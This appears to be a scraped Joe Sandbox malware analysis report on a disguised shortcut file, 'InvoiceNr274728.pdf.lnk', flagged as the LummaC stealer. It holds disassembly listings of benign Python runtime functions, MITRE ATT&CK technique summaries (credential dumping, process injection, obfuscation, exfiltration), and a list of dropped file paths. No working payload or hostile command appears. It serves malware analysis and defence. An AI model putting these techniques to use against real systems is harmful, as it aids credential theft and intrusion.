Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\funcobject.c
API String ID: 376477240-778741475
Opcode ID: e6356def4f33f22ef716193ee832658b5a2223ee3b2448e4e58af49bb7f9c81e
Instruction ID: 1c99a0d6347cc29003919222a473ca3421a4a8bad18520771e54c18cfe98752d
Opcode Fuzzy Hash: e6356def4f33f22ef716193ee832658b5a2223ee3b2448e4e58af49bb7f9c81e
Instruction Fuzzy Hash: 9AE0C2B5A1110C5BCB10EBD9DC46E24B398D356224F8486D6BD2CDBE91EA71D8A08AC2

Function 6C1570A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

PyInt_FromLong.PYTHON27(?), ref: 6C1570AE
_PyLong_FromByteArray.PYTHON27(?,00000004,00000001,00000000), ref: 6C1570C5

Strings

&k, xrefs: 6C1570C5

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: From$ArrayByteInt_LongLong_
String ID: &k
API String ID: 14725604-4254052200
Opcode ID: 1e2aa13561610bc81dfad886fb63ff6865535c2438d11388074d983dbbe60a2c
Instruction ID: 38f1474784897d276308f435afc1d51d2da2b7ee0dbf798683e3990602e0da0c
Opcode Fuzzy Hash: 1e2aa13561610bc81dfad886fb63ff6865535c2438d11388074d983dbbe60a2c
Instruction Fuzzy Hash: 49D05BF194030862DB006DA4AC42BDA378D471176DF508552FA3C9E6C1E672E2A441D5

Function 6C0DB8F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0DB905

Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E1440
Part of subcall function 6C1E1420: fprintf.MSVCR90 ref: 6C1E1446
Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E144C
Part of subcall function 6C1E1420: fflush.MSVCR90 ref: 6C1E1452
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 6C1E1499
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32 ref: 6C1E149C
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(6C2B3AD4), ref: 6C1E14A3
Part of subcall function 6C1E1420: abort.MSVCR90 ref: 6C1E14A5

Strings

P&0l, xrefs: 6C0DB91A, 6C0DB922, 6C0DB92A
GC object already tracked, xrefs: 6C0DB900

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: DebugOutputString$__iob_func$ErrorFatalabortfflushfprintf
String ID: GC object already tracked$P&0l
API String ID: 3311909517-2850754575
Opcode ID: f590f52cae1a1db8c4e439be2ad978ac482c9028e29c71e543be00c6c191d48e
Instruction ID: cf8ce49bb082beab80abf4d5b8b8119fefe429a1a4668437007307ec2ec7284b
Opcode Fuzzy Hash: f590f52cae1a1db8c4e439be2ad978ac482c9028e29c71e543be00c6c191d48e
Instruction Fuzzy Hash: 29E0D8726017288FCA208F59D604441B7F8EB06638720436EE879537D1C772A485CBC0

Function 6C0A96C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 6C0A9290: PyString_FromString.PYTHON27(cannot iterate over closed LogReader object), ref: 6C0A92CE
Part of subcall function 6C0A9290: PyErr_SetObject.PYTHON27(?,00000000,cannot iterate over closed LogReader object), ref: 6C0A92D7

PyErr_SetString.PYTHON27(6C2E5B38,no more events in log), ref: 6C0A96EA

Strings

no more events in log, xrefs: 6C0A96E4
8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6C0A96DE

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$FromObjectString_
String ID: 8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$no more events in log
API String ID: 354487993-3028223606
Opcode ID: 3c495bd0756046e34752862c180d1c616ee4c82887d09ce837c2499a7c4303a5
Instruction ID: 8616889c5d93260674a1dde03d20b42c68d5014fe9b911610da51c64a03627f0
Opcode Fuzzy Hash: 3c495bd0756046e34752862c180d1c616ee4c82887d09ce837c2499a7c4303a5
Instruction Fuzzy Hash: AFD017B9B14245979F00D6E9AC89A4233FD5B9831CB548524EA0887B12F632E956C791

Function 6C167140 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

PyNumber_CoerceEx.PYTHON27(?,6C12C8C1,?,6C12C8C1,?,?), ref: 6C16714B
PyErr_SetString.PYTHON27(6C2E48B0,number coercion failed,?,?), ref: 6C167163

Strings

number coercion failed, xrefs: 6C16715D

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: CoerceErr_Number_String
String ID: number coercion failed
API String ID: 559835178-3059949011
Opcode ID: 936e97b1f23e4c7e278717fbe0f44395455c2ae58c10ca7c5d5daa18450e4d07
Instruction ID: bd3de2aebdb3bb47ecaab15befb6dc66364feee1424cf2c216d305b70b37c3bc
Opcode Fuzzy Hash: 936e97b1f23e4c7e278717fbe0f44395455c2ae58c10ca7c5d5daa18450e4d07
Instruction Fuzzy Hash: BCD0A77AA1030837DA00D679AC40D5B73AD9B59729F108B15FC2C87B80EB31F52887E0

Function 6C0A1500 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8COMMON

Download Yara Rule

APIs

Py_InitModule4.PYTHON27(_bisect,6C311560,Bisection algorithms.This module provides support for maintaining a list in sorted order withouthaving to sort the list after each insertion. For long lists of items withexpensive comparison operations, this can be an improvement over the morecommon appro,00000000,000003F5), ref: 6C0A1516

Strings

Bisection algorithms.This module provides support for maintaining a list in sorted order withouthaving to sort the list after each insertion. For long lists of items withexpensive comparison operations, this can be an improvement over the morecommon appro, xrefs: 6C0A1507
_bisect, xrefs: 6C0A1511

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: InitModule4
String ID: Bisection algorithms.This module provides support for maintaining a list in sorted order withouthaving to sort the list after each insertion. For long lists of items withexpensive comparison operations, this can be an improvement over the morecommon appro$_bisect
API String ID: 1168669654-363380586
Opcode ID: 7ce35959474c7efcd550629b0d23d649d9734e7db60daa62d116f15dc3ce34b4
Instruction ID: 454cc85bdb642f2754e13050d39969df214428fb52e07d28cd8b5a0972cdeb11
Opcode Fuzzy Hash: 7ce35959474c7efcd550629b0d23d649d9734e7db60daa62d116f15dc3ce34b4
Instruction Fuzzy Hash: F3B01278FD490136E40938440C07FA030100374E88FC01850F20634DC1F84CA304086F

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report InvoiceNr274728.pdf.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\94df2d2b-fb90-48a4-866b-19b4e999581f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6a3bad.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a5932e60-b4ef-4302-bbea-4da59a23a38d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Windows Analysis Report
InvoiceNr274728.pdf.lnk

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre